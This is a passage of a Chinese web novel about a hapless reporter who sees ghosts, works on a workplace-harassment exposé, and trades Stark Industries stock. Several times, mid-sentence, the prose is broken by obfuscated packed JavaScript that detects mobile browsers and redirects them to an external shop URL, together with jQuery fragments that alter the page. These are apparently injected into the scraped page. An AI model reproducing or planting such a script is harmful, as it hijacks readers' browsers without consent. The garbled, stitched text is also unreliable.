“……”没想到那天情急之下的试验竟给自己挖个大坑。当时不过短短几十秒,他差点冻个半死不说,还不知道是不是像传说中那样被消耗掉部分阳气,对小命有没有妨碍,总之他还是不要再轻易烂好心。但这话不能直接说,否则就彻底暴露自己完全是小白一只,他又怕五鬼有什么能力藏着没露,知道他纯纯就是个战五渣的天生倒霉蛋儿,反而被逼着做冤大头,于是琢磨着开始解释。 “牵手对话有两个硬性条件,第一活着的人得相信你们的存在,第二双方怀着迫切的愿望见到彼此,即便满足这两个条件,我也不敢保证每次都能成功。”郝运说得脸不红心不跳,仿佛自个是见鬼老手一般,说得自己都快信了。他自觉这番话既可以合理地拒绝掉各种鬼无礼的牵手要求,如果实在拒绝不掉必须走到那一步的时候,还给自己保留了体面的失败理由。他果然是个小机灵鬼,郝运暗自嘚瑟。 “成功的概率呢?”奥里西斯好奇地问。 郝运沉吟着说:“这个不好说,有人看着相信了,但潜意识可能还带着怀疑,有人有再见一面的愿望,但不一定能突破渴望的临界点,这个有点儿因人而异,要一切都刚好满足才会成功,不好用数学的方式统计。”别看他表面上说得煞有介事,其实内心早就汗哒哒滴。果然一个谎言要靠无数个谎言来维系,天知道后边还得编出多少没影儿的话来。他越想越心虚,忍不住开始找补。 “牵手对话是有可能让家人直接听到你们的声音,但是这年头造一段假音频不是分分钟的事?再过几年说不定人物虚拟成像都出来了。如果不能让想见的对象相信你们的存在,他们很可能把我当成图谋不轨的骗子。”郝运不再往深了说,剩下的让五鬼自己想去。 这里边最失望的莫过于老约翰,他本来抱着极大的希望亲自与女儿做一次最后的道别,听了这话自然不免有些丧气。女鬼最先察觉他的情绪,安慰道:“你女儿想见你的心一定跟你一样急切。”老约翰脸上重又现出希冀。 红发小鬼率却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065508|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥挥手不在意道:“说到底就是纯碰运气嘛!行吧,我本来想简单点直接告诉他们一声,既然这么麻烦,你替我说也是一样的,反正我也不想搞什么人鬼手拉手,想想我都觉得浑身难受。”他一副摆脱大麻烦的轻松姿态。 这里边属你最麻烦好不好?要是不能让你父母相信你真的变成鬼,我分分钟可能被当做杀人凶手,好吗?郝运越想越觉得危险,顾不得照顾对方的心情,直接问道:“你是怎么死的?尸体在哪?” 红发小鬼身子一僵,很快又恢复自然,不耐烦道:“你放心好了,不是自杀,也不是他杀,意外死亡,尸体估计早漂大海里了,上哪找去。” 你这么说我更不放心了,好嘛!郝运直觉红发小鬼没说实话,看向一旁的奥里西斯。 奥里西斯忙道:“我们到现在也不知道这小鬼的名字,平时都是‘小鬼’、‘小鬼’地叫着,不过你看他这副谁都看不惯的样子,肯定不可能自杀。他杀嘛,也不太可能,不然早叫着让你帮忙逮凶手了。” 红发小鬼头扭在一边,一副不关老子事的吊样。 你这小鬼把事情想得也太简单了吧。我要是听你的话就这么大咧咧去找你父母,跟他们说——“嗨,你们儿子死啦,尸体漂海里啦,你们不用再找啦~”到时候轻则被打出门,重则喜提银手镯一枚。郝运气得牙根直痒痒,准备暂时收起对这小鬼的同情。他深吸一口气,也摆出一副无所谓的态度:“反正我是不着急,你什么时候想出取信父母的主意,我什么时候再替你传话。” 红发小男鬼抖着腿不在意道:“我也不着急,你什么时候去上东区,顺带告诉他们一声就得了。” 看不出来这选择性听话的固执小鬼竟是富人家的小孩!郝运气结之余又忍不住羡慕。 女鬼觉察到气氛不对劲,忙热心地表示:“郝先生,你放心好了,我们会商量怎么让家人相信。”说完还冲郝运悄悄眨眨眼,那意思很明显,她会帮着说服红发小鬼。 奥里西斯也跟着表示:“我也会帮忙的哦~”尾音简直要拐到新泽西。 郝运悄悄抖落一身鸡皮疙瘩,跟邓肯·亨利确认道:“你的死没有问题吧?”有一个麻烦鬼就够了! “你放心,他是过劳死,我和他还一起去过他的葬礼,亲眼看着他埋进土里的。”奥里西斯抢先道。 郝运略松一口气,故意看看手机:“挺晚了,要不你们先回去商量一下心愿顺序?” “不用商量,先帮老约翰传话。”除老约翰外,四鬼异口同声。 “我排最后。”忘记名字的女鬼立马表态。 “你先带洛奇看日出好了。”红发小鬼酷酷地表示。 “那就这么定了,先是乔治先生,然后是亨利先生,接着是咱们的美女姐姐,至于红发弟弟,那就看他什么时候真正做好准备面对父母吧。”郝运一锤定音。 红发小鬼马上想说什么,被女鬼赶着制止。 郝运全当看不见,问道:“你们明天能不能去趟FBI,帮我打听一下弗兰克的情况,再看看珍妮怎么样了,可以吗?” “小事情,包在我们身上。” “明天还是晚上八点,要是我回来晚了,麻烦你们等一会儿。”郝运说着浅浅打个哈欠:“那个,我有点累了,你们?” “好了,不打扰你休息,祝你好梦哟~”奥里西斯扭着身子率先穿门离开。 郝运起身送出门,确认五鬼走远了,才回公寓洗了个战斗澡。他调整好姿势舒舒服服窝在小床上,抱着手机,在浏览器搜索栏上输入“克制鬼魂的方法有哪些?” 十点钟,他准时关掉台灯,躺进被窝,不到五分钟便陷入酣睡。 21.第 21 章 一大早,郝运发现地铁迟迟不到时,果断选择出地铁打车。他在驾驶位后排坐定,仔细系上安全带,又扯了扯才作罢。 大块头司机大哥从后视镜看到似乎未成年的亚洲男孩小心翼翼的模样,哈哈一笑,粗声粗气地说:“嘿,小子,别紧张,我从十六岁拿到驾照,连车皮儿都没蹭破过,我保证用最短的时间把你安全送到SUN大厦。” 说着一脚油门出去老远。 但愿今天能借你的好运,顺利到达公司。郝运想了想,还是忍不住嘱咐道:“赶上我上班就行,不用着急,安全最重要。” “上班?你这么小就去实习了?” “我已经大学毕业了。”郝运无奈道。 “真看不出哇,亚洲人果然显年轻。”司机大哥震惊了,“不过你这个点过去也太早了吧!” 郝运只好说:“我是记者,早点去公司也好追新闻。” “年轻人果然拼呐!现在正好躲开早高峰,我跟你打个赌,七点二十绝对能到,不多一分不少一分。”司机大哥言语间满是老司机的自信。 郝运淡淡一笑,并不接话,转头欣赏起窗外的风景,遥远的天际一点点被红霞晕染。 司机大哥见此打开收音机,车子里瞬间充斥着财经评论员头头是道的分析。 “近日斯塔克工业股价持续走高,据最新消息称,斯塔克工业研制出一种装载新型能源的新式武器,董事长托尼·斯塔克正在中东同当地领导人洽谈合作,一旦达成合作关系,东中地区局势将发生重大变革……” 郝运的注意力不由得被吸引回来,面上渐渐显出沉思之色。 这一切又被司机大哥看在眼里,忍不住搭话道:“你也关注股票?” “哦……不……是我爸考虑买一些斯塔克工业的股票。”郝运半真半假道。 “放心,买这只股票绝对亏不了。我以前炒股总是亏多赚少,自从买入斯塔克工业,不仅把以前亏的全部补回来,还赚了不少。刚才的利好消息一出,我估计开盘就要大涨,可惜我没有多余的资金追加,让你爸赶紧入场,还能赶上这波红利。” 这真是无巧不成书。郝运试探着说:“董事长亲自去中东谈合作,总觉得有些不安全,这两天股价怕是要波动。”想到开盘他就要买入斯塔克工业的股票,觉得还是提前打个预防针为好,免得司机大哥因一时波动忍痛割肉。 司机大哥眼神一闪,压低声音问:“你是不是有什么内幕消息?”SUN大厦的记者有点一线情报很正常。 郝运故作神秘:“我看只是短期波动,长期还是利好的。” 司机大哥心领神会,不再多问,想着开盘要不要先趁着价高卖出一波,若真有波动,再趁着低价买回来。他这一分神,没注意到绿灯变红,砰的一声撞上前车,身子顺着惯性朝方向盘撞去。 前车司机探出头,怒气冲冲骂道:“眼瞎啊!看不见红灯啊!” 郝运一脑袋栽到前座上,磕得脑袋发蒙,却硬是忍着一声不吭。 司机大哥顾不得胸口隐隐作痛,赶紧扭头关心道:“哎呀,你怎么样?真抱歉,我给你叫个救护车吧。”说着不理外头将玻璃敲得砰砰响的前车司机,拿起电话就要打急救电话。 郝运捂着脑袋,“没事儿,没事儿,不用叫救护车,我缓一缓就好。” 司机大哥更加愧疚了,刚吹得牛皮还热乎着呢,转眼就发生事故,还连累乘客撞到脑袋。“还是去医院拍个片子检查一下。” “你先叫交警处理事故,我缓缓觉得不行再说。”郝运大大小小的伤受过不少,对伤情有自己的判断。这次事故说起来都是因为自个牵连所致,让司机大哥光辉的开车生涯留下这样一道败笔。 司机大哥只好嘱咐道:“那你在车里不要动,等我处理完事故。”说着开门下车,他那大块头的身体一出现,叫嚣的前车司机气势渐渐弱下来。 郝运隐约听得司机大哥扯着粗嗓子说什么“我全责,走保险”,见计价器上显示八块多,掏出十美刀放在驾驶座上,悄悄开门溜了。 他好不容易重新坐上车,又遇上大堵车,紧赶慢赶,只来得及在公司楼下的便利店随便买一块三明治。他在工位上喘匀气,打开三明治刚咬上一口,瞬间被辛辣的味道刺激得两眼泪汪汪。 谁家三明治里放辣椒呀!衰!郝运含着泪三两下吞掉三明治。 朱莉·安注意到郝运的窘境,关心地问:“你怎么了?还好吗?” “嘶……被辣椒辣的……嘶……不要紧……”郝运红着双眼,泪光闪闪。 朱莉·安只觉会心一击,勉强按耐住伸手的冲动,从抽屉里拿出一瓶牛奶递给郝运。“赶紧喝点牛奶解解辣。” 郝运也不客气,接过来拧开盖子一口气干掉半瓶,口中的辣味才冲淡一些。“谢谢你啊,朱莉姐。”郝运自来熟地叫道。 “不客气。”朱莉·安一屁股坐下,一会儿翻翻文件夹,一会儿扒拉扒拉抽屉,好一阵忙乱。 琼·安德森一手咖啡一手大提包风风火火进来,经过工位时止步问道:“马丁呢?” 朱莉·安回道:“他休假了。” 琼·安德森这才想起上周马丁跟她请过年假。“你和郝运来我办公室一下。” 两人赶紧抱着电脑跟上。 琼·安德森一坐下立即进入工作状态,单刀直入地说:“叫你们来是讨论职场性骚扰专题报道的事,说说你们的想法。” 朱莉·安早已习惯这样的工作节奏,她略一思索率先说道:“我建议分三个阶段进行报道,第一阶段陈述事实揭露现象,用数据引发读者的共鸣与关注,第二阶段表达观点剖析原因,用分析引发读者思考与讨论,第三阶段呼吁社会推动变革,用倡议引发行动。” 琼·安德森点点头道:“那来讨论一下每个阶段报道的角度,先说第一阶段。” 朱莉·安兴奋于自己的建议被采纳,继续道:“先通过权威机构发布的案例数据,客观呈现职场性骚扰的普遍性、行业分布情况及受害者特征。然后聚焦受害者案例,突出骚扰行为不受年龄、性别、职位限制的残酷现实。”朱莉·安边说边思考,“在这一部分,我想还应该重点关注职场性骚扰对受害者造成的长期心理影响,通过深度访谈或匿名叙述,呈现受害者从遭遇骚扰到寻求帮助过程中的无助与挣扎。” “聚焦心理创伤,不错的点子。”琼·安德森表示赞同,转而看向郝运。 正在埋头做笔记的郝运感受到到头顶射来的犀利目光,赶紧停手抬头。他略显紧张地咽咽口水,才试探着说:“我在整理资料时发现这几年科技公司、互联网公司、金融公司是职场性骚扰的高发区,是不是可以做一些行业聚焦报道?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069329|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好主意。”朱莉·安用马上附和,“我们还可以围绕法律维权困境进行报道,让大众看到因证据不足、司法漏洞导致性骚扰诉讼败诉的真实情况。” “我觉得跨文化也是一个视角,亚洲人相对保守内敛,遇到职场性骚扰更有可能保持沉默、不敢反抗。”郝运跟着说。 “这个视角挺独特,伪装在‘文化差异’之下的职场性骚扰。”琼·安德森越说眼神越锐利,“可能有些人甚至不知道自己在经历职场性骚扰,以为拥抱是友好,玩笑是习惯,但是这些界限模糊的言语玩笑和身体接触都有可能潜藏着恶意骚扰。这样,我们要在报道中发起关于职场性骚扰行为的界定讨论。” 朱莉·安突觉一阵凉意略过心头,她赶紧作为重点记下。 “刚才讨论的都是受害者的角度,是不是可以多加入一些不同的声音,比如旁观者的集体沉默进一步纵容职场性骚扰。”郝运从珍妮的惨剧中受到启发。 “没错,报道中应该包含这样的数据案例,让大众看到旁观者集体沉默的普遍性和后果,警醒装睡的旁观者。”朱莉·安颇有些愤懑之态。 “不要忘了还有施害者。”琼·安德森严肃道。 郝运和朱莉·安对视一眼,到底是主编,视野就是宽阔。 “好了,接下来是第二阶段的报道角度,我们加快节奏。”琼·安德森道。 “我想可以从权力结构的不平等、组织文化的默许、法律维权的困境来深入分析职场性骚扰的根源,邀请人力专家、社会学家、法律顾问进行专家访谈,深入剖析背后的原因。”朱莉·安说道。 “还可以跨行业对比,分析行业特性如何滋生骚扰行为。跨文化对比不同文化对性骚扰的容忍度,探讨文化差异背后职场性骚扰的复杂性。还可以邀请心理学家,重点分析旁观者沉默的心理机制和施害者违背道德法律底线的心理动因。”郝运跟着道。 “OK,那第三阶段就基于这些角度提出具体的行动办法。”琼·安德森接着分配任务,“马丁不在,此次专题报道就由朱莉·安负责,郝运协助,可以吗?” 第一次被委以重任单独负责专题报道,朱莉·安干劲十足:“主编放心,我一定全力以赴。” “我没问题。”郝运跟着道。 “我等下要飞一趟国外,有事给我发消息。”琼·安德说着开始收拾东西。 两人回到工位,朱莉·安就刚才各自提出的方向做了简单分工,便埋头苦干起来。马丁不在,她要承担全组的稿件审核、润色及核查工作,必须争分夺秒地加油干! 郝运先打开工作邮箱,发现一封来自琼·安德森的未读邮件,点开一看,只有一句简单的回复:“资料整理的不错。”得到大记者的肯定,郝运心里小小得意一把,主动对朱莉·安说道:“朱莉姐,我前天整理了不少职场性骚扰的数据和案例,发你一份,你看看有没有用。” 朱莉·安扬起一个大大的笑脸:“郝运,你真是帮了大忙了。” “要咖啡吗?帮你带一杯。”郝运晃晃手中的杯子。 朱莉·安马上递上一只造型奇特马克杯,“美式,谢谢。” 趁着在茶水间等咖啡的功夫,郝运悄悄买了十股斯塔克工业的股票。这小小的十股究竟能撬动多少资源,郝运第一次对自己的倒霉体质产生怀疑。 22.第 22 章 “十股能干什么,现在的小朋友呀,上班期间尽想着偷懒耍滑。” 槽糕,上班摸鱼被同事发现了。郝运惊得后退一步,这才发现身边不知什么时候站着一位穿着西装马甲打扮得体头发花白的老头。 哪里来的老头?这么大年纪应该不是同事吧?公司怎么什么人都往里放啊!这老头也太没边界感了,怎么能直接凑上来看他手机呢!郝运一颗小心脏扑通扑通直跳,心里忍不住疯狂吐槽。 马甲老头眼里射出精光,不确定地问:“你能听见我说话?还能看见我?是不是?” 怎么,我不该听见你说话,也不该看见你,是吧?电光石火间郝运反应过来,我去,不会又白日见鬼了吧?堂堂太阳日报,怎么还有鬼魂出没?!想到那五只粘人鬼还没打发走,他马上决定说什么也不能惹上这只马甲鬼。他慢慢收回目光,努力保持自然把手机塞回口袋,调转身体端起杯子,冲着老头直挺挺走去。 没办法啊,这老头横在正前方,若强行拐弯,那不是不打自招嘛!眼见马上就要撞上,郝运欲哭无泪,眼一闭心一横,只管闷头往前冲。身上快速略过一丝淡淡的凉意,郝运两步并做一步奔出茶水间。 “小伙子,你等等,我不是坏人。”马甲老头紧跟其后,“你能看见我,对不对?我没有恶意,我只是想跟你说说话。我也不知道我为什么还留在这里,没进天堂也没入地狱,整整二十年了,这栋大楼墙上的裂缝我都不知道数了多少遍,你就当可怜可怜我这个孤独寂寞的老头子……” 那谁来可怜可怜我这个天生倒霉蛋!身后的声音喋喋不休,大有他不回头便永不停止的势头,但郝运郎心似铁,下定决心不能心软。他烦得不行,手里的杯子几乎端不住。“麻烦让让,小心咖啡。”他嘴里反复念叨着,试图盖住老头恼人的絮叨。 “朱莉姐,你的咖啡。” “啊,谢谢。”朱莉·安接过杯子,“你怎么了,不舒服吗?脸色怎么这么难看?”说着脸上露出担忧之色。 郝运勉强笑笑,找了个借口:“早上吃的三明治太辣了,这会儿胃有些不舒服。”他还是定力不够啊! “那你就不要喝咖啡了,我去帮你换杯热茶。”朱莉·安说着站起来,看到郝运手中只放了茶包的空杯子不由得一愣。 刚才接水时发现水不热,他便把杯子放在一边,后来被突然出现的老头吓得忘了这茬,郝运额上一滴冷汗落下。 马甲老头在旁边摊着手无奈道:“我本来想提醒你,谁让你跑这么快。” 要不要谢谢你啊!他还煞有介事地端了一路的杯子,好蠢啊!这马甲鬼恐怕更要揪着自己不放了,为今之计只能装鸵鸟死不承认。郝运努力克制着目光不往老头那边落,尴尬地说:“热水没了,等会我自己去就好。” “那好吧。”朱莉·安重新坐下,不放心的说,“你要是实在不舒服就去休息室休息一会儿,前台那里应该有胃药。” 郝运点点头,回工位坐下,两眼盯着电脑,恨不得一头扎进去,生怕不经意同马甲鬼来个四目相对。 马甲老头见郝运铁了心装看不见,也不气馁,站在旁边开始表演。 “认识我有很多好处哦!这家公司大大小小的事没有我不知道的,比如谁把咖啡倒在你电脑上,你们一组有人私下和二组的人互通消息,我还知道公司里有人倒卖新闻换取利益,有人明面上不对付背地里有一腿,谁的背景硬,谁是关系户,谁值得交往,郝运先生……”马甲老头在郝运耳边诱惑道。 被鬼贴着耳朵说话,尤其把他的名字叫得那样拗口诡异,郝运禁不住浑身汗毛倒竖。稳住稳住,你一定可以的。郝运努力做着心理建设,才没有从椅子上蹦起来。要知道这里有鬼等着,打死也不来上班,现在听老爸的话回去读书还来得及吗? 职场八卦听起来有一点点心动,但有句话说的好——知道得越多死得越快,他这样被老天爷特别关照的倒霉蛋何苦卷入职场纷争呢! “用现代流行语来讲,我可是送上门的外挂,隐形职场大利器,有我在,保你半年摘掉‘助理’,两年升任‘资深’,三年变身‘专家’,五年荣登‘首席’。”马甲老头极尽利诱之能,仿若恶魔附身。 呵呵,做鬼二十年就敢打这样的包票了?便是真有这样的本事,郝运也兴致缺缺。他只想摆脱倒霉君,找一份能够糊口的工作,太太平平过最普通的生活。 “你这么绷着不难受吗?放轻松一点,别紧张,我是个有道德有原则的鬼,不会伤害你的。”马甲老头见利诱不成,转为安慰。 要不咱俩换换,看你紧张不紧张?郝运简直无力吐槽。手上的动作倒是不停,将搜集到的有价值的数据案例快速做着分类整理。 “你要做办公室性骚扰的报道啊?SUN大厦就有个隐藏人渣,骚扰过不少人,是个很典型的新闻素材,你想不想要啊?”马甲老头立马更换思路。 他总不能到一处就碰见一个人渣吧。这一定是马甲鬼试探他的阴谋!郝运不为所动。 马甲老头似乎察觉到郝运的想法,信誓旦旦道:“我这人生前不曾说过一句假话,死后更不会作假。那个人渣第一次动手我就知道了,可恨我一个鬼身毫无办法,眼睁睁看着他祸害一个又一个,如今竟还爬上高位,你要是不揭发他,可能要不了多久就会出现第二个珍妮。”马甲老头的话里带着不容忽视的义愤填膺。 郝运心头一震,想继续坚守阵地,奈何良心上过不去,不自主停下手里的动作。 “那个人渣是楼下十六层新星网络的技术负责人,因为掌握核心技术,老板默许人事和公关联合帮其掩盖恶行,对受害者威逼利诱用尽手段只为息事宁人。有人曾经起诉过他,最后因为证据不足败诉,他出了法庭还对着媒体大言不惭说只是开个小小的玩笑,没想到对方当真了,他为他的不当言行道歉。不信你可以上网查查,他叫杰夫·戴维。” 眼见马甲鬼说得有鼻子有眼,郝运手速快过脑速,在搜索栏输入杰夫·戴维。等他脑子跟上时,整个人已经僵住,心理防线瞬间崩塌。 马甲老头双手一拍:“哈!抓到你了!”说着还送上一个得意的wink。 算了算了,与其做无谓的抵抗,不如坦然接受命运的安排。郝运深深吸一口气,抬头对上马甲老头的目光。天知道他刚才为了避开这道目光做了多少努力,这一刻一股彻底放松的舒畅感涌入全身。 马甲老头已变了模样,他眼神温和,嘴角含笑,活脱脱的老牌绅士范儿。“郝运先生,正式自我介绍一下,我叫巴伦·杜邦,生于1905年,死于1991年,做鬼的日子正好满二十年。” 郝运蓦的瞪大眼睛,他没有听错吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074379|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这老头竟是巴伦·杜邦? “没错,我就是太阳日报的创始人之一。”巴伦·杜邦大方承认。 我天,我这是什么鬼畜运气,上来就捡到如此元老级人物,怪不得他敢说出刚才的五年计划。郝运不知自己是走了狗屎运,还是倒霉到了一种新境界。他不好开口说话,只能微微点头算作应答。 “除了我之外,还有其他鬼吗?”巴伦·杜邦终于有机会问出缠绕他二十年的问题。 郝运在电脑上打开一个空白文档,输入:“有。” “太好了,终于不是我一只孤鬼!”巴伦·杜邦兴奋的像个孩子,“我死后再醒来就出现在这里,这二十年只能在这栋大厦活动,你有办法带我出去认识其他鬼吗?”生前爱好交际的巴伦·杜邦实在是憋坏了。 “没有办法。”郝运删掉上一个回答,重新输入。 “好吧。”巴伦·杜邦耸耸肩,马上换个提议,“要不你带其他鬼来这里给我认识?” “不合适。” “有什么不合适的,我还是这栋楼的出资人呢,我在这里交个鬼朋友怎么了!” “年龄不合适。”郝运只好如实相告。 “你别看我是老头子,我思想可是很新潮的,这二十年每天都有学习新知识。”作为新闻工作者,他可是每一天都冲在最前沿,巴伦·杜邦不服气道。 “我可以找机会帮你说说看,不保证有鬼愿意过来。”郝运决定先哄哄老人家。 “我懂我懂,现在有你这个人朋友也够了。”巴伦·杜邦笑得一脸满足。 “……”这么一说,高低不得帮你找个鬼朋友了?不然岂不是整天缠着自己?难道继五鬼之后,他还得帮鬼保媒拉纤?郝运感觉晦暗不明的人生又多了一个巨大的坑。 “郝运先生见鬼的能力从小就有吗?你是种花人,是不是有什么家族传承?道士?捉鬼师?还是什么?”巴伦·杜邦抛出一连串问题,他实在太好奇了。 这位还真的是见多识广啊,连道士、捉鬼师都知道!郝运一边暗自吐槽,一边输入:“我只是一个普通种花人,我也是最近才知道这世上有鬼。”回答完郝运才意识到他一不小心将老底儿都秃噜出来了。天呐,明明在五鬼面前他装得有模有样,生怕被发现是新手,怎么面对巴伦·杜邦他竟毫无保留?这日子真是没法过了!趁早毁灭吧!郝运决定破罐子破摔。 “那你在这之前有什么特殊的奇遇吗?听说蜘蛛侠就是被毒蜘蛛咬了一口才变异的,你呢?”巴伦·杜邦很具发散思维。 “我只是特别倒霉而已……” “哈哈,我知道,你面试的时候我在场。”巴伦·杜邦笑得见牙不见眼。他突然收起笑容,用猎鹰般的眼神盯住郝运,笃定道:“阿诺德·布莱恩是你的手笔吧!” 郝运被这突然的转换弄得措手不及,连忙摆出无辜又疑惑的表情,殊不知下意识露出的震惊已泄露了真实想法。 “啊哈,又被我抓到咯!”巴伦·杜邦露出得逞的笑容,“小伙子,你很聪明,也很大胆,很对我的胃口,等我再来找你哦~”说着挥挥手消失不见。 原地消失术!郝运直接呆住,巴伦·杜邦似乎和五鬼不太一样,难道鬼与鬼之间也存在能力差异?刚才自己这么诚实,不会是被这马甲鬼施法了吧?这个世界貌似更危险了,怎么破? 23.第 23 章 “我好不容易才放下过去往前看,不想再为不开心的事耗费精力。” “啊,抱歉,我现在在外旅居,不方便接受采访。” “律师都搞不定的事,接受你的采访就能改变结果吗?法官说判案讲究证据,我没有证据,没有证据,你懂吗?”咆哮声直逼耳膜,还不待郝运说些什么,电话啪的一声挂了。 “我要不及时撤诉,坐在被告席上的就是我!”这道声音里充满了对不公的愤怒和对颠倒黑白的嘲弄,“我是个小人物,斗不过有钱有势的大人物,我可不想有一天被某人以损害名誉为由把我告得倾家荡产。” “哦,那件事啊,接受你的采访能让我更出名吗?”吓得郝运自己先挂断电话。 “啊呀,我当初才出社会太敏感了,现在想起来根本不算什么。”电话里是一道宿醉未醒的含混声音,“我当时真他妈傻,为了一口气儿闹得那么大,结果只得到一句不痛不痒的道歉,弄得自己好好的工作丢了,找其他工作人家也不要我。大学的贷款我到现在都没还上,也不知道利滚利滚到他妈的多少万,反正我现在一无所有,那些该死的资本家拿我也没办法,哈哈……嗝……”最后只剩下响亮的呼噜声。 “匿名发布吗?”电话那头顿了一下才道,“抱歉,我只是不想再回忆伤痛。” “法官已经判了,我也拿到了精神赔偿,没必要再揪着不放。” “对不起,我现在工作顺利、家庭幸福,不想家人被过去的阴霾笼罩。” 坚定的拒绝在耳边久久回响,与听筒里的嘟嘟声交织成二重唱,郝运不由得长长出了一口气。 朱莉·安关心地问:“胜诉的也没有一个愿意接受采访吗?” 郝运无力地点点头,说道:“各有各的理由,也各有各的难处。” “没有人愿意揭开好不容易才长好的伤疤,可以理解。”朱莉·安深有感触道,“还有几个电话没打?” “只剩最后一个。”郝运说着播下号码。 听筒里传来熟悉的声音:“对不起,您所拨打的号码是空号。” 郝运无奈道:“是空号。”气氛一时陷入沉默。 昨天他和朱莉·安整理完第一期职场性骚扰报道所需的案例数据,加班敲定好预备联系采访的受害人名单,选的要么是有上诉记录的受害人,要么是在公开平台控诉过的受害人。原本满心以为这些人敢站出来为自己发声反抗,接受采访的意愿应该比较高,现实却给了两人一记沉重的打击。 郝运今天一上班就开始打电话联系,先找的是那些败诉或不了了之的受害人,他以为有媒体愿意重新为她们发声,应该比较容易说动,结果或直接或委婉的都拒了。而那些已经维权成功的受害人,似乎更没有理由重提旧事,拒绝得一个比一个干脆。 “要不试着联系被阿诺德·布莱恩侵害的人?”郝运提议。 朱莉·安想了想,才道:“从阿诺德·布莱恩家里搜到的东西足以定罪,何况他的妻子已经在媒体面前公开表示愿意出庭指证所有的罪行,这个案子已经铁板钉钉,被阿诺德·布莱恩侵害的人没必要出来承受不必要的压力。” “说的也是。”郝运一时气馁。 “现在公众因为同情珍妮·奥卡西的不幸遭遇更关注弗兰克·罗恩的案子,这个案子的定刑有很多可以讨论的争议点,整个事件的热度应该会持续到案子判决结束。我们第一期报道如果有阿诺德·布莱恩案的被害人专访,说不定可以借着这一波热度,打响反职场性骚扰的第一炮。所以我们应该努力跟进这条线,保不齐有人愿意站出来接受采访。”朱莉·安到底是前辈,很会借力打力。 “我来跟进吧。”郝运主动道。 “你可以吗?”朱莉·安有些担忧公车事件对他的影响。 “没问题,我还想尝试说服FBI采访弗兰克·罗恩,这类事件里除了受害者本人,最痛苦的就是他们的家人。如果有受害者家人的深度采访,咱们的专题报道也会更全面更有深度。”其实郝运还想借机探望一下弗兰克和珍妮。昨天五鬼从FBI回来说,弗兰克和珍妮状态都挺好,只是弗兰克总是一脸傻笑,又时不时自言自语。FBI怀疑他精神有问题,将他单独关押,结果发现他更严重了,竟然对着空气要牵手、要抱抱竟然还噘着嘴要亲亲,正在找心理专家做精神状态评定。 朱莉·安马上露出赞赏的神色,跟着说:“一个两个的案例还是太过单薄,不够有说服力,我们必须得想办法找更多有代表性的案例充实报道。我相信只要第一期报道有足够的关注度,一定会鼓励更多的沉默者站出来发声。” “请朱莉姐尽管吩咐,你指哪儿我打哪儿。”郝运重新恢复状态。他想必须尽快和巴伦·杜邦联手揪出十六层那个隐藏惯犯,他已经查到杰夫·戴维被诉的性骚扰案,还有相关的新闻报道,其中一张在法庭前拍摄的大头照片尤为显眼。这个男人从面相上看意外的正派老实,不像是能干出这种事的家伙。 “那我们一起加油继续找素材。”朱莉·安也是干劲满满。 郝运默默潜入杰夫·戴维的社交平台,很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080061|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现里头有不少歧视女性物化女性的言论,看来这家伙对女性天然存有敌意,他边看边悄悄截图保存。手机有消息进来,打开一看,原来是老爸。 “儿子,你这次选的股票貌似有点坚强啊!” 郝运登入证券账号,斯塔克工业的股票不出意外跌了,但跌得不多,到底是主角,果然被老天偏爱。他回了一条简短的消息:“再等等。”心想如果今天收盘还是没有大变化,他就麻溜地再选一只股票,不死磕主角光环。 消息刚发出去,办公室突然乱了。 “安德森主编发来最新报道,托尼·斯塔克的专机在沙漠坠毁,他本人下落不明,中东局势一触即发。” 